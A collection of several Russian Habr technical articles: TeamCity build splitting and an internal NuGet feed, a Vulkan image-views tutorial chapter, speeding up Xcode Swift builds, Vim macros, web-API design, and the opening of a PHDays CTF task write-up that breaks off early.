Появилась проблема с интеграционным билдом. Когда к нему добавилась Asp.Net компиляция, время полного билда выросло с 3х минут до 20-ти, что сводило на нет все преимущества билда на каждый коммит. Нам необходимо было получать как можно быстрее и оперативнее сообщения об ошибках компиляции. Поэтому было принято решение разнести интеграционный билд на 2 части:
* Msbuild компиляция
* Asp.Net компиляция
TeamCity поддерживает так называемые snapshot dependency. Вкратце это работает следующим образом:
* Сначала исполняется обычная интеграционная сборка проекта, как отдельная билд конфигурация.
* В случае успеха запускается другая билд конфигурация, проводящая asp.net компиляцию проекта, причём, запускается она именно на этом же snapshot’е исходников, на котором была проведена предварительная интеграционная сборка – т.е. на той же ревизии исходников.
Таким образом, мы не загружали машины ненужной Asp.Net компиляцией в том случае, если интеграционный билд не прошел. И получали msbuild ошибки намного быстрее.
Помимо интеграционных билдов и запуска тестов, мы используем TeamCity для сборки установочных пакетов. Встроенная система артефактов позволяет указать, что будет являться артефактом сборки и, при необходимости, заархировать его. Эти артефакты можно скачать прямо на UI
Или получить через REST API.
До TeamCity сборка пакета осуществлялась с помощью вызова PowerShell скрипта, который просто использовал 7Zip и через command line инструктировал архиватор, какие типы фалов в архив включать не нужно (так как количество типов файлов, которые нужно включать в архив, было намного больше). Поэтому система артефактов вызвала небольшое разочарование. Во-первых, ни один из встроенных архиваторов не показал хорошего соотношения сжатие/скорость по сравнению с 7Zip. Ближе всех был tar.gz, но только что близок. Во-вторых, в скрипте артефактов нельзя было прописать конструкции на исключение из архива файлов определённых типов, что было крайне неудобно и заставляло полностью прописывать все то, что нужно включить (кстати, можете проголосовать за [эту фитчу](http://youtrack.jetbrains.com/issue/TW-5244)). Кроме того, размер архива был порядка 500 Mb, что заставляло UI задумываться о вечном.
Мы похоронили мысль использовать систему артефактов, и всё так же используем PowerShell, благо что у TeamCity есть встроенный runner для него.
#### NuGet
Одной из фитч, которая представляла для меня большой интерес, была заявленная поддержка NuGet сервера внутри TeamCity. Я уже давно задался идеей поднять корпоративный NuGet сервер с целью пресечь бесконтрольное добавление зависимостей в проект и просто для внутренних библиотек, которые было бы удобнее использовать через NuGet. Так что возможность использования для этих целей сам движок CI – вместо расшареной папки в сети – представлялась многообещающей.
TeamCity предоставляетдва NuGet Feed’а: один гостевой, без аутентификации, второй с установленным на TeamCity типом авторизации.
Feed можно подключить и в Visual Studiо, и в NuGet Restore Package (файл NuGet.targets), чтобы исключить возможность добавления новой зависимости втихаря.
```
```
К сожалению, ложка дёгтя всё-таки присутствует. Нет никакого UI для управления пакетами во встроенном NuGet сервере. Более того, основная идея, которую JetBrains закладывает в него – это то, что он должен использоваться только для NuGet пакетов, уникальных для вашей компании. С их слов, они [не собираются конкурировать с официальным NuGet сервером](http://devnet.jetbrains.net/thread/440162?tstart=0).
Можно добавить NuGet пакет в feed, но для этого нужно сделать так, чтобы он оказался в списке артефактов. Что, собственно, я и сделал.
В отдельный репозиторий в SVN были добавлены все необходимые пакеты, а новая билд конфигурация просто добавляла все содержимое в артефакты.
И как результат.
Это сработало, и все пакеты стали доступны и в feed’е.
Единственной проблемой оставалось удаление пакетов из feed’а. Это мы решили с помощью встроенного средства очистки TeamCity.
Таким образом, при удалении из svn пакет уже никогда не будет маячить в списке артефактов для предыдущих билдов – следовательно, навсегда исчезнет из feed’а.
Для того чтобы превратить свою библиотеку в NuGet пакет, достаточно использовать специальный runner [NuGet Pack](http://confluence.jetbrains.net/display/TCD7/NuGet+Pack), который очень прост в настройке.
#### Послесловие
Это далеко не всё, что сделано и что запланировано в области CI: автоматический деплой приложения или базы данных, автогенерация тестовых данных, static code analysis и пр. пока остались вне этой статьи, и наш подход мы постараемся описать в следующих.
**P.S.** Как описано в начале статьи, она не является рекламой, и компания Дневник.ру не получает от JetBrains никаких лицензионных поблажек.
*Автор статьи: Александр Лукашов, глава отдела разработки Дневник.ру.* | https://habr.com/ru/post/169329/ | null | ru | null |
# Vulkan. Руководство разработчика. Image views
Кто еще со мной не знаком, я технический переводчик из ижевской компании CGTribe, и я занимаюсь переводом руководства к Vulkan API ([vulkan-tutorial.com](https://vulkan-tutorial.com)).
В этой публикации представлен перевод главы Image views из раздела Drawing a triangle, подраздела Presentation.
**Содержание**
1. [Вступление](http://habr.com/ru/post/462137/)
2. [Краткий обзор](http://habr.com/ru/post/524992/)
3. [Настройка окружения](https://habr.com/ru/post/526320/)
4. [Рисуем треугольник](https://habr.com/ru/post/531196/)
1. [Подготовка к работе](https://habr.com/ru/post/531196/)
* [Базовый код](https://habr.com/ru/post/531196/#base)
* [Экземпляр (instance)](https://habr.com/ru/post/531196/#two)
* [Слои валидации](https://habr.com/ru/post/535342/)
* [Физические устройства и семейства очередей](https://habr.com/ru/post/537208/#phys)
* [Логическое устройство и очереди](https://habr.com/ru/post/537208/#logic)
2. Отображение на экране
* [Window surface](https://habr.com/ru/post/539174/)
* [Swap chain](https://habr.com/ru/post/542942/)
* [Image views](https://habr.com/ru/post/543288/)
3. [Графический конвейер (pipeline)](https://habr.com/ru/post/547576/)
* [Вступление](https://habr.com/ru/post/547576/)
* [Шейдерные модули](https://habr.com/ru/post/547576/#shader)
* [Непрограммируемые стадии конвейера](https://habr.com/ru/post/554492/)
* [Проходы рендера (Render passes)](https://habr.com/ru/post/560816/)
* [Заключение](https://habr.com/ru/post/560816/#conclusion)
4. Отрисовка
* [Фреймбуферы](https://habr.com/ru/post/564100/#frame)
* [Буферы команд](https://habr.com/ru/post/564100/#buffer)
* [Рендеринг и отображение на экране](https://habr.com/ru/post/567754/)
5. [Пересоздание swap chain](https://habr.com/ru/post/569912/)
5. [Вершинные буферы](https://habr.com/ru/post/571944/)
1. [Описание входных данных вершин](https://habr.com/ru/post/571944/)
2. [Создание вершинного буфера](https://habr.com/ru/post/573920/)
3. [Промежуточный буфер](https://habr.com/ru/post/578956/)
4. [Индексный буфер](https://habr.com/ru/users/alexandra_sky/posts/)
6. Uniform-буферы
1. [Layout дескрипторов и буфер](https://habr.com/ru/post/582838/)
2. Пул дескрипторов и сеты дескрипторов
7. Текстурирование
1. Изображения
2. Image view и image sampler
3. Комбинированный image sampler
8. Буфер глубины
9. Загрузка моделей
10. Создание мип-карт
11. Multisampling
FAQ
Политика конфиденциальности
Image views
-----------
Для использования [VkImage](https://www.khronos.org/registry/vulkan/specs/1.2-extensions/man/html/VkImage.html) мы должны создать объект [VkImageView](https://www.khronos.org/registry/vulkan/specs/1.2-extensions/man/html/VkImageView.html) в графическом конвейере. Image view — это буквально взгляд в image. Он описывает, как интерпретировать image и какая часть image будет использоваться.
В этой главе мы напишем функцию **`createImageViews`**, которая создаст базовый image view для каждого image в swap chain, чтобы в дальнейшем использовать их в качестве буфера цвета (color target).
Прежде всего добавим член класса для хранения image views:
```
std::vector swapChainImageViews;
```
Создадим функцию **`createImageView`** и вызовем ее сразу после создания swap chain.
```
void initVulkan() {
createInstance();
setupDebugMessenger();
createSurface();
pickPhysicalDevice();
createLogicalDevice();
createSwapChain();
createImageViews();
}
void createImageViews() {
}
```
Первое, что мы сделаем — выделим необходимое место в контейнере, чтобы вместить все image views.
```
void createImageViews() {
swapChainImageViews.resize(swapChainImages.size());
}
```
Затем создадим цикл, который обходит все image из swap chain.
```
for (size_t i = 0; i < swapChainImages.size(); i++) {
}
```
Параметры для создания image view передаются в структуру [VkImageViewCreateInfo](https://www.khronos.org/registry/vulkan/specs/1.2-extensions/man/html/VkImageViewCreateInfo.html). Первые несколько параметров не вызывают сложностей.
```
VkImageViewCreateInfo createInfo{};
createInfo.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO;
createInfo.image = swapChainImages[i];
```
Поля **`viewType`** и **`format`** указывают, как нужно интерпретировать данные image. Параметр **`viewType`** позволяет использовать изображения как 1D, 2D, 3D текстуры или cube maps.
```
createInfo.viewType = VK_IMAGE_VIEW_TYPE_2D;
createInfo.format = swapChainImageFormat;
```
Поле **`components`** позволяет переключать цветовые каналы между собой. Например, мы можем считывать все цветовые каналы только из **`r`** компоненты, получив тем самым монохромную картинку. Или, например, назначить **`1`** или **`0`** как константу для альфа канала. Здесь же мы будем использовать дефолтные настройки.
```
createInfo.components.r = VK_COMPONENT_SWIZZLE_IDENTITY;
createInfo.components.g = VK_COMPONENT_SWIZZLE_IDENTITY;
createInfo.components.b = VK_COMPONENT_SWIZZLE_IDENTITY;
createInfo.components.a = VK_COMPONENT_SWIZZLE_IDENTITY;
```
Поле **`subresourceRange`** описывает, какая часть image будет использоваться. Наши images состоят только из 1 слоя без уровней детализации и будут использоваться в качестве буфера цвета.
```
createInfo.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT;
createInfo.subresourceRange.baseMipLevel = 0;
createInfo.subresourceRange.levelCount = 1;
createInfo.subresourceRange.baseArrayLayer = 0;
createInfo.subresourceRange.layerCount = 1;
```
Если вы работаете со стереоизображениями, вам нужно создать swap chain с несколькими слоями. После чего для каждого image создайте несколько image views с отдельным изображением для каждого глаза.
Для создания image view осталось вызвать функцию [vkCreateImageView](https://www.khronos.org/registry/vulkan/specs/1.2-extensions/man/html/vkCreateImageView.html):
```
if (vkCreateImageView(device, &createInfo, nullptr, &swapChainImageViews[i]) != VK_SUCCESS) {
throw std::runtime_error("failed to create image views!");
}
```
В отличие от объектов **`VkImage`**, image views были созданы нами, поэтому нужно описать аналогичный цикл, чтобы уничтожить их перед закрытием программы:
```
void cleanup() {
for (auto imageView : swapChainImageViews) {
vkDestroyImageView(device, imageView, nullptr);
}
...
}
```
Нам достаточно image view, чтобы использовать image в качестве текстуры, однако чтобы использовать image в качестве render target, нужно создать фреймбуфер. Но сначала настроим графический конвейер.
[C++](https://vulkan-tutorial.com/code/07_image_views.cpp) | https://habr.com/ru/post/543288/ | null | ru | null |
# Разгоняем сборку Swift проекта в Xcode
Статья о том как починить инкрементальную компиляцию в Xcode для Swift проектов и ускорить build phases для Cocoapods и Carthage, ничего не поломав.
Небольшой спойлер: на трех разных проектах получилось сократить время инкрементальной сборки в 9 раз!
Туториал несет сугубо практический характер с минимумом воды. Обязательно к прочтению для действующих iOS разработчиков.
### Проблема
У нас в компании ведется несколько параллельных проектов на Swift и, практически, везде была сложность с последовательной сборкой. На каждый повторный 'Run' уходило от 30 до 50 секунд. Минуту пишется код, пол минуты ждешь пока соберется проект. Успеваешь сходить за чаем, покурить, посчитать налоги и иногда вздремнуть.
Однозначно надо было что-то менять. В предыдущих моих статьях, где описываются актуальные проблемы компилятора и способы их решения, мы смогли добиться определенных успехов. Тем не менее, это не устранило трудности с инкрементальной компиляцией, которая съедала большую часть времени, постоянно выбивая своей медлительностью из рабочего процесса. Уверен, каждый с этим сталкивается регулярно, приняв как часть рабочего процесса.
Но мы не стали с этим мириться, решив расследовать все обстоятельства дела и в итоге получив неплохой результат. О чем и буду рад рассказать.
P.S. Картинка в шапке не означает, что мы 'вертели' Xcode. Это его якобы так ускоряем.
### Инкрементальная компиляция
Если кто не знаком с термином — это способ сборки только изменившихся мест кода без тотальной рекомпиляции всего проекта. А еще это то, что нормально не работает в Xcode.
В прошлом посте товарищ [Gxost](https://habrahabr.ru/users/gxost/) [подсказал идею](https://habrahabr.ru/post/317298/#comment_9957400), которая на некоторое время решила проблему. Мы уже начали открывать шампанское всей командой и вешать портрет ~~императора~~ избавителя на стену, но, к сожалению, в этот момент проблема возобновилась.
Судя по всему, мы не одни такие. О рецидивах пишут и [на StackOverflow](http://stackoverflow.com/questions/39456223/xcode-8-does-full-project-rebuild#comment67899362_39477414) под ответом, а так же в исходной теме на форумах Apple.
Это ни в коем случае не палка в огород. Даже наоборот — благодарность, все это подтолкнуло продолжить копать. Если хоть и временно, но проблема была решена, то значит истина где-то рядом.
Что вообще такое этот header map для которого мы ставим флаг по рекомендации Apple?
Немного [веб-археологии](https://web.archive.org/web/20160827070103/https://developer.apple.com/library/mac/documentation/DeveloperTools/Reference/XcodeBuildSettingRef/1-Build_Setting_Reference/build_setting_ref.html#//apple_ref/doc/uid/TP40003931-CH3-SW158) по документации яблока:
> Header maps (also known as “header maps”) are files Xcode uses to compile the locations of the headers used in a target.
Своими словами, header maps — это индексный файл Xcode с местоположениями хидеров проекта. Файл о всех хидерах, которые мы используем.
Так как я обещал не погружаться слишком глубоко в теорию, то вот [отличная статья](https://habrahabr.ru/post/144834/) на эту тему. Легко читается, крайне рекомендую.
Главное, что *нечто* в этих header maps(или то, что их использует) провоцирует недобросовестную работу инкрементальной компиляции. Если мы нашли такую техническую опухоль, то давайте поступим без полумер и просто их отключим.
Заходим в build settings и ~~убираем лишние детали~~ выставляем существующий флаг **USE\_HEADER\_MAPS** в **NO**:
Теперь нам надо компенсировать потерянный функционал и вручную добавить расположение всех хидеров проекта.
Никуда не уходим из настроек и руками прописываем пути до папок с заголовками в поле 'user header search paths':
В Swift проекте их должно быть мало, только ваши кастомные Obj-C вещи.
Опять делаем полный clean и пробуем завести проект. Если влетели в следующую ошибку
то значит вы просто забыли упомянуть путь до одного или нескольких заголовочных файлов. После их исправления все должно собраться без осложнений, так как кроме этого мы никаких изменений не вносили.
В качестве бонуса отметим, что инкрементальная компиляция работает наилучшим образом при выключенном whole-module-optimization(WMO) о котором мы говорили в [прошлый раз](https://habrahabr.ru/post/317298/). Это не значит, что для полномодульной оптимизациии решение не работает, просто без нее все проходит на несколько секунд быстрее. Пускай при этом сборки с чистого листа и тянутся целую вечность.
Здесь уже каждый сам для себя решает, что ему удобнее, быстрее и лучше подходит. Если вы решили отказаться от WMO, то достаточно убрать флаг SWIFT\_WHOLE\_MODULE\_OPTIMIZATION из настроек проекта, каких-либо сложностей возникнуть точно не должно.
**Результат**: инкрементальную компиляцию мы успешно починили. Отныне должно тратиться не более нескольких секунд на сам факт сборки Swift, не считая codesign, линковки и различных build scripts(о них мы поговорим ниже). Внутри компании мы проверили этот метод на трех разных проектах, нескольких версия OSX и вообще множестве конфигурациях в целом, что в том числе относится и к Xcode. И вот уже продолжительное время рецидивов не наблюдаем.
### Разгон Cocoapods и Carthage
Наверное, многие замечали, что кроме самой компиляции еще много времени уходит на разные 'shell scripts':
При использовании cocoapods и/или carthage их даже несколько. На их выполнение уходит от 3 до 10 секунд каждый раз в зависимости от скорости вашего диска, процессора и положения звезд на небе. Cocoapods прописывает себя туда автоматически, а для Carthage приходится это делать [вручную](https://github.com/Carthage/Carthage#if-youre-building-for-ios-tvos-or-watchos).
Немного изучив контент, мы выяснили, что эти скрипты занимаются ничем другим как копированием своих ресурсов в сборочную директорию проекта. При этом они не заботятся о том были уже скопированы этих файлы или нет. Хотя, гораздо логичнее было бы проверять наличие нужных ресурсов перед их повторным копированием.
Что мы и сделаем.
#### Начнем с Carthage.
Вдохновением для этого решения послужил недооцененный [ответ на StackOverflow](http://stackoverflow.com/a/40512275/1092100), где приняли и покрыли лайками одноразовый костыль. Кстати, если вы вдруг решите воспользоваться одобренным решением, то поймаете дикие и горячие ошибки в Runtime стоит вам сделать полный clean.
Мы так поступать не будем, поэтому пойдем по правильному пути и видоизменим наш Copy Carthage Frameworks build phase:
```
FILE="${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/Carthage-Installation-Flag"
if [ -f "$FILE" ]; then
exit 0
fi
touch "$FILE"
/usr/local/bin/carthage copy-frameworks
```
Этот скрипт дополнительно копирует вместе с ресурсами еще один пустой файлик, который служит маяком, что операция прошла успешно. Он не занимает места, не дает побочных эффектов ~~и разрешен детям с 3-х лет~~. В следующий раз, когда скрипт будет запущен, он сначала проверит наличие этого файла, и если файл есть, то операция автоматически завершится без лишних телодвижений.
Для уверенности, скриншот результата, который у нас должен получиться:
**Важно!** Если вы решите добавить или удалить зависимость из Carthage, то перед сборкой проекта обязательно нужно провести полный clean. Иначе скрипт так и будет считать, что он уже все давно установил. А вы будете в поте лица пытаться найти объяснение происходящему.
Кстати, найти функцию clean можно в меню по пути Product → Clean.
Если еще зажать option(alt), то можно сделать *[особый](http://stackoverflow.com/a/14706272/1092100)* clean, который к тому же ~~изгоняет демонов из проекта~~ удаляет различные локальные настройки, кеш и часто дающую сбой прочую ерунду.
##### Теперь Cocoapods
Для бобов принцип тот же самый, но так как скрипты генерируются автоматически, придется добавить немного магии в Podfile. Чтобы это сделать, докинем следующие строки в самый конец файла:
```
post_install do |installer|
Dir.glob(installer.sandbox.target_support_files_root + "Pods-*/*.sh").each do |script|
flag_name = File.basename(script, ".sh") + "-Installation-Flag"
folder = "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}"
file = File.join(folder, flag_name)
content = File.read(script)
content.gsub!(/set -e/, "set -e\nKG_FILE=\"#{file}\"\nif [ -f \"$KG_FILE\" ]; then exit 0; fi\nmkdir -p \"#{folder}\"\ntouch \"$KG_FILE\"")
File.write(script, content)
end
end
```
Принцип работы этого скрипта такой же: он добавляет в скрипты копирования ресурсов проверку на файл-флаг. При этом не меняет build phases, в отличие от Carthage, а сразу изменяет сам скрипт cocoapods.
**Кстати**, если у вас уже был задействован блок post\_install, то не надо создавать еще один, достаточно поместить скрипт внутрь уже имеющегося. Последние версии Cocoapods(1.1.1) выводят предупреждение, если вы напортачите, а вот более ранние просто молча проглотят ошибку, обеспечив вам веселую отладку.
Теперь можно сделать '**pod install**', чтобы изменения вступили в силу. Как и в случае с Carthage, при редактировании Podfile, тоже нужен полный clean проекта перед запуском.
**P.S.** Ruby не мой родной язык, попридержите тапки.
### Заключение
Таким образом, у нас получилось сократить время сборки проекта с 45-и секунд до 5-и.
Чуть не забыл пруфы. Время сборки до:
Скриншот взят из [видео](https://www.youtube.com/watch?v=xY8LvAsprqs) к прошлой статье.
Время сборки после:
На мой взгляд, крайне значимый результат. Подход с сокращением издержек должен обязательно стоять на вооружении каждой компании и разработчика.
Уверен, что среди вас найдутся люди с опытом оптимизации Xcode, готовые дополнить и поделиться мыслями. Да и вообще, хотелось бы в комментариях видеть вопросы, чтобы в следующих своих статьях упоминал вас, ваш опыт, опыт ваших коллег и освещал тематику, т.к. для меня это хобби, жизнь и работа.
Напоследок поделюсь утилитой, которой я пользовался для измерения времени компиляции методов: <https://github.com/RobertGummesson/BuildTimeAnalyzer-for-Xcode>
Показывает индивидуально каждую функцию и суммарное время затраченное на её сборку. | https://habr.com/ru/post/317650/ | null | ru | null |
# Макросы в Vim — это просто
### Макросы в Vim
Очень странно, с одной стророны тема довольно банальная, а с другой ни тут, ни на просторах интернета не видно хорошего понимания такой важной темы, которая может иногда сильно упростить задачу редактирования текста. К написанию меня подтолкнуло [обсуждение макросов](http://devblog.avdi.org/2011/02/24/screencast-why-keyboard-macros-are-awesome/) в Emacs в блоге Avdi Grimm'а, где в своё время никто не смог внятно объяснить, что в Vim есть то, чего ожидает автор поста от достойного текстового редактора. Исправим это, в первую очередь в себе, а потом пойдём и скажем этим из интернета, что они не правы.
Какие задачи редактирования текста помогут решить макросы? Например, такую: вот в этой самой строке, которую вы читаете, взять и все запятые поменять на 0. Можно вспомнить регулярные выражения, но не все их любят, и уж тем более не все помнят, как вставлять с их помощью перенос строки, а если вам нужно заменять какие-то символы, которые используются в регулярных выражениях как служебные, вы уже отвлеклись от своей основной задачи и вместо редактирования текста занимаетесь написанием регулярного выражения для поиска и замены, пробуя и ошибаясь.
Макросы позволят это сделать быстрее, с меньшим отвлечением на вспоминание и написание чего-либо. Запомнить как работают макросы очень легко, и это войдёт в ваш ежедневный аресенал наряду с прыжками по тексту.
В этом топике мы научимся использовать макросы с этой самой задачей.
Давайте сначала вспомним, как это сделать вручную.
`f,r0`
После чего можно нажимать последовательно `;` для повторного поиска и `.` для повторения предыдущего действия. Но в какой-то момент это может стать не так просто, например, вам нужно добавить пару каких-то знаков между делом. Точка уже не сработает и нужно будет опять нажимать `r0`. Или этих запятых окажется довольно много, и щёлкать поочерёдно `;` и `.` придётся довольно много раз. В этот момент что-то вам уже подсказывает, что такой механический труд можно автоматизировать.
[Основы](#base)
[Многократные повторения и рекурсивный вызов](#repeat)
[Редактирование макросов](#editing)
[Вечные макросы](#permanent)
[Всякое](#misc)
#### Основы
Для записи и хранения макросов в Vim используются регистры. Те самые, в которые можно копировать текст и те самые, на которые можно ставить пометки. Регистры обозначаются латинскими буквами без учёта регистра (a и A — один и тот же регистр), цифрами, и даже специальными символами, то есть хватит их на всех.
**Важно**. В регистрах хранится не что-то магическое, в регистрах хранится простой текст.
Для записи макроса в регистр `a` вопспользуемся следующей командой:
`qaf,r0q`
Первый кю `q` запускает запись макроса, и так до нажатия q для подтверждения записи.
Теперь, чтобы запустить макрос повторно, нам нужно нажать `@a`, и запустится на выполнение макрос, хранящийся в регистре `a`. Мы можем традиционно для Vim написать `100@a`, и макрос будет выполнен 100 раз, заменив 100 или меньше (если в строке их меньше) запятых на `0`.
#### Многократные повторения и рекурсивный вызов
Иногда сколько у нас запятых в строке мы не знаем, поэтому после запуска `100@a` нам приходится вручную проверять, не осталось ли ещё.
Можно довольно просто сделать так, чтобы макрос вызывал сам себя. Запишем тот же самый макрос, который нужно будет вызывать всего один раз, а дальше он будет сам вызывать себя:
`qaf,r0@aq`
В данном случае, его запись ещё не произозшла, но запуск уже указан. Важно, чтобы в этом регистре ничего на момент записи не хранилось. Для этого есть два способа. Первый — это чистить содержимое регистра перед записью ещё тремя нажамиями, `qaq`, то есть записью пустой последовательности. Второй — это делать вызов последнего вызыванного макроса с помощью `@@`.
**Важно**. Выполнение цепочки или серии исполнения макросов приостанавливается в тот самый момент, когда одна из команд `fFtT`, то есть поиска символа в строке, не удаётся. То есть, например, у нас не осталось больше в строке запятых. Естественно, даже если вы указали, что макрос нужно выполнить 100 раз, а запятых было всего две, макрос выполнится два раза, а на третий остановится на поиске и больше продолжать не будет. Точно так же с рекурсивным макросом.
Удобно то, что при записи макроса происходит его первое исполнение, то есть мы сразу видим, правильно ли его записали.
#### Редактирование макросов
Если что-то пошло не так, и хочется увидеть, что же мы записали, можно воспользоваться стандартной функцией Vim, и вставить содержимое регистра `a` прямо в текст: `"ap`.
Прямо в редакторе вы увидите текст, который является последовательностью команд:
```
af,r0@a
```
Допустим, вы решили, что менять текст нужно не на `0`, а на `1`, и вы редактируете текст макроса:
```
af,r1@a
```
и копируете его в регистр `a` с помощью `0"ay$`.
#### Вечные макросы
Стоит заметить, что регистры постоянны, если вы выйдете из Vim, а потом зайдёте снова, содержимое регистра останется неприкосновенным. Хранится оно по умолчанию в файле `~/.viminfo`.
**Важно**. Содержимое регистра легко случайно перезаписать, и если вы хотите, чтобы какие-то макросы существовали в каких-то регистрах постоянно, имеет смысл добавить их в `.vimrc`, или лучше в отдельный файл с макросами, включаемый в `.vimrc`:
```
let @a='af,r1@a'
```
#### Всякое
Макросы совсем не обязательно действуют в рамках одной строки, попробуйте прыжки по параграфам в макросах для изменения регистра первого слова на верхний.
Чтобы избежать случайных переходов по нажатию `Q` в Ex режим, имеет смысл назначить `Q` на вызов предыдущего макроса:
```
nnoremap Q @@
```
Полезная информация:
`:help registers`
`:help :registers`
`:help :recording`
Для дальнейшего изучения:
[Продвинутые макросы Vim (англ.)](http://blog.sanctum.geek.nz/advanced-vim-macros/) | https://habr.com/ru/post/230487/ | null | ru | null |
# Написание web-API к своей системе
Добрый день, %username%!
За последний год столкнулся с несколькими задачами по написанию SOAP/REST API к различным сервисам и вывел для себя боле-менее удобную модель. Я не претендую на фундаментальное исследование, просто хочу поделиться опытом наступания на грабли.
Для начала общие требования к default API:
* возможность расширения
* удобный стандартизированный формат запросов
* удобный стандартизированный формат ответов
* достаточный уровень безопасности
* возврат ошибок выполнения запроса
Клиентом нашего API может быть как сервер (PHP/Perl/Python etс), так и UI (JS). Механизмы авторизации при этом будут несколько отличаться, но все остальное лучше стандартизировать.
После долгих тестов в реальной жизни я предпочел JSON. Я не имею ничего против XML, но очень часто приходится пользоваться функционалом API из JavaScript — почему бы и не использовать нативный формат?
Структура запроса к серверу выглядит примерно так:
**`cmd="имя команды"&data="JSON объект"&sig="сигнатура запроса, используемая для аутентификации и проверки целостности запроса"`**
По порядку:
cmd — ограниченный набор команд, обеспечивающий функционал. Например, auth, profile, edit, view и так далее — в зависимости от ваших потребностей. Этот параметр не передается в JSONе, чтобы не парсить JSON в случае отсутствия такой команды.
data — передаваемая информация в JSONе.
sig — сигнатура, обеспечивающая проверку правильности запроса и авторизацию. Например, при запросе сервер-сервер я использую следующий алгоритм: md5(cmd+secret+data), где secret — информация, известная обоим серверам (и нашему, и серверу клиента), но неизвестная более никому.
При запросе сервер-клиент (AJAX-JavaScript) приходится использовать менее секурный вариант — secret хранится в cookie и меняется каждый сеанс.
Ответ:
`{
status: "ok или error - удачность выполнения запроса"
response: "возвращаемые данные"
error: "код ошибки или 0 в случае удачи"
}`
Я думаю, тут пояснений не нужно.
Приближаемся к реализации. Рассмотрим алгоритм работы серверной части:
1. проверить, существует ли команда, соответствующая параметру cmd
2. если да — то поверить сигнатуру(sig) — на этом этапе мы отметаем большую часть неумелых атак, еще не загружая сервер
3. загрузить соответствующий модуль, реализующий функционал и передать ему данные
4. модуль делает свою работу — мы ему тут не нужны
5. сформировать ответ с результатами работы модуля или кодом ошибки и вернуть его клиенту
Я люблю ООП, но не все разработчики, которые пишут модули к разрабатываемым мной системам, так же его любят. Поэтому код может быть любым, главное, чтобы он возвращал результат.
Посмотрим на классы, которые сформировались за несколько подобных систем и теперь мигрируют из одной в другую:
1. **Manager** — проверяет существование команды и правильность сигнатуры, проверяет правильность данных на входе и отправляет ошибки о не корректных данных
2. **Module** — каждый объект этого класса описывает определенный модуль. Описание состоит из названия, списка необходимых для работы файлов, которые будут включены при запуске модуля, список параметров, которые он будет брать у объекта Registry, список параметров, без которых его не запускать, а сразу выдавать ошибку
3. **Registry** — синглтон, в честь одноименного шаблона — заворачивает в себя входящие данные под чутким руководством объекта Manager. Позже именно к нему будут обращаться модули за данными
4. **Response** — синглтон, строит ответ из данных, полученных от модуля. Именно в нем мы кодируем ответ в нужный нам формат (JSON в данном случае)
5. Класс-обертка к БД по вкусу
Таким образом, модули можно писать хоть процедурные — все данные они берут из объекта Registry и возвращают в объект Response.
Стандартные модули, которые встречаются почти в каждой системе:
* auth — открытие соединения с API
* log\_out — собственно закрытие соединения
* user — вывод информации о пользователе
* view — просмотр одной записи
* list — просмотр списка записей
* add — добавление записи
* edit — редактирование записи
* del — удаление записи
Общее количество модулей в системе не влияют на ее производительность, так что полет вашей фантазии в области функционала не ограничен.
Если тема разработки API интересна хабрасообществу, я могу подготовить статью с примером реализации и исходниками. Надеюсь, приведенная выше информация поможет в проектировании вашей системы.
**UPD**: это не описание создания REST или не дай бог SOAP API. Это то, что вылилось из эксплуатации нескольких систем и является более производительным и простым решением. Если вам надо книжный REST — читайте Фраулера, там без меня все описано. | https://habr.com/ru/post/108973/ | null | ru | null |
# Битвы хакеров: разбор заданий PHDays CTF и CTF Quals
[Positive Hack Days CTF](http://www.phdays.ru/ctf/) — международные соревнования по защите информации, которые проводятся по игровому принципу Capture the Flag. Несколько команд в течение заранее отведенного времени защищают свои сети и атакуют чужие. Основная задача участников — выявлять уязвимости в системах противников и получать доступ к секретной информации (флагам), при этом обнаруживая и устраняя подобные уязвимости в своей системе.
В сегодняшнем топике мы представим разбор некоторых интересных заданий, с которыми сталкивались участники прошедших соревнований.
#### История и география
В этом году PHDays CTF состоится уже в четвертый раз. Впервые соревнования прошли во время форума Positive Hack Days в 2011 году, тогда победителями стали участники американской команды PPP, в следующем году победила российская команда Leet More, а на PHDays III чемпионами стали Eindbazen из Голландии. Каждый год в PHDays CTF принимают участие команды со всего мира — от США до Японии.
Для участия в отборочных соревнованиях в этом году зарегистрировалось больше 600 команд.
#### Задания и атмосфера
По сложившейся традиции игровые задания и инфраструктура подготавливаются в соответствии с легендой соревнований — специальной сюжетной линией, которая превращает простой набор задач PHDays CTF в увлекательное состязание, у которого есть цель. Например, в прошлом году участники спасали от гибели вымышленный мир D’Errorim. Предстоящие соревнования продолжат [этот сюжет](http://www.phdays.ru/ctf/index.php?id=2).
Задания соревнований, как правило, основаны на реальных прототипах: уязвимости, заложенные в задания и сервисы CTF, можно встретить в различных системах в реальной жизни. Соревнования PHDays CTF интересны и оригинальными игровыми механиками, которые делают возможной реализацию разных и непохожих друг на друга стратегий ведения игры (подробнее на [сайте PHDays](http://www.phdays.ru/upload/ctf/ARTICLE_CTF_DEV_v2.pdf)).
Обычно организаторы готовят для команд необычные задания, напрямую не связанные со взломом. Например, во время PHDays 2012 дополнительные очки можно было заработать обнаружив бонусные флаги в специальном контейнере с мусором, а во время PHDays III команды должны были быстрее всех преодолеть «[хакерский лабиринт](http://2013.phdays.ru/program/contests/index.php?id=2)» — полосу препятствий с лазерным полем, датчиками слежения, секретными дверьми, комнатой с жучками и другими интересными испытаниями.
Но основные баллы, конечно, зарабатываются исключительно в ходе решения разнообразных задач по информационной безопасности. Давайте разберем некоторые из них.
#### Разбор
Квалификационный этап соревнования (PHDays CTF Quals) относится к типу task-based CTF, то есть команды должны решать задания и получать за них очки. Задания могут относиться к одной из следующих категорий:
* Forensic — компьютерно-криминалистическая экспертиза,
* Reverse (reverse engineering) — анализ бинарного кода,
* Pwn — эксплуатация уязвимостей,
* Admin — навыки администрирования,
* Network — знание сетевой инфраструктуры и протоколов,
* Crypto — криптография,
* Stegano — стеганография,
* PPC (professional programming and coding) — олимпиадное программирование,
* Web — поиск и использование веб-уязвимостей,
* Misc — разное.
Начнем с последней категории.
#### Неочевидные задания
Участникам PHDays IV CTF Quals в рамках одного из заданий нужно было расшифровать сообщение, скрытое в [mp3-файле](http://ctfarchive.phdays.com/phd4quals/mp3 me (1400)/123.mp3.c3eb41b97e2b2d152c24392f17066208).
